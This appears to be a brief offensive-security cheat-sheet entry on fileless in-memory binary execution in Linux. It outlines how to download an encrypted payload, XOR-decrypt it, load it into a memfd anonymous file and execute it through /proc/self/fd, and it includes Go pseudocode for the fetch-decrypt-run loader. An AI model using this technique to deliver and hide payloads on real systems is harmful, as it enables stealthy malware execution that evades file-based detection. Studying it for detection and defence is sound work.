- In-memory binary file execution - Use `memfd` syscall to create a virtual file entirely in memory and then use the file's symbolic link (`/proc/self/fd/`) to execute it. - Basic process: 1. Encrypt/encode payload 2. Host and download payload 3. Decrypt payload in memory and initialize "anonymous" file using `memfd` 4. Copy decrypted payload into memory-only file and execute - High-level pseudocode: ```Go func main() { // Download the encrypted payload data, err := getURLContent(path) // Decrypt it using XOR operation decryptedData := decryptXor(data, []byte("verylongkey")) // Create an anonymous file in memory mfd, err := memfd.Create() // Write the decrypted payload to the file mfd.Write(decryptedData) // Get the symbolic link to the file filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd()) // Execute the file cmd := exec.Command(filePath) out, err := cmd.Run() } ```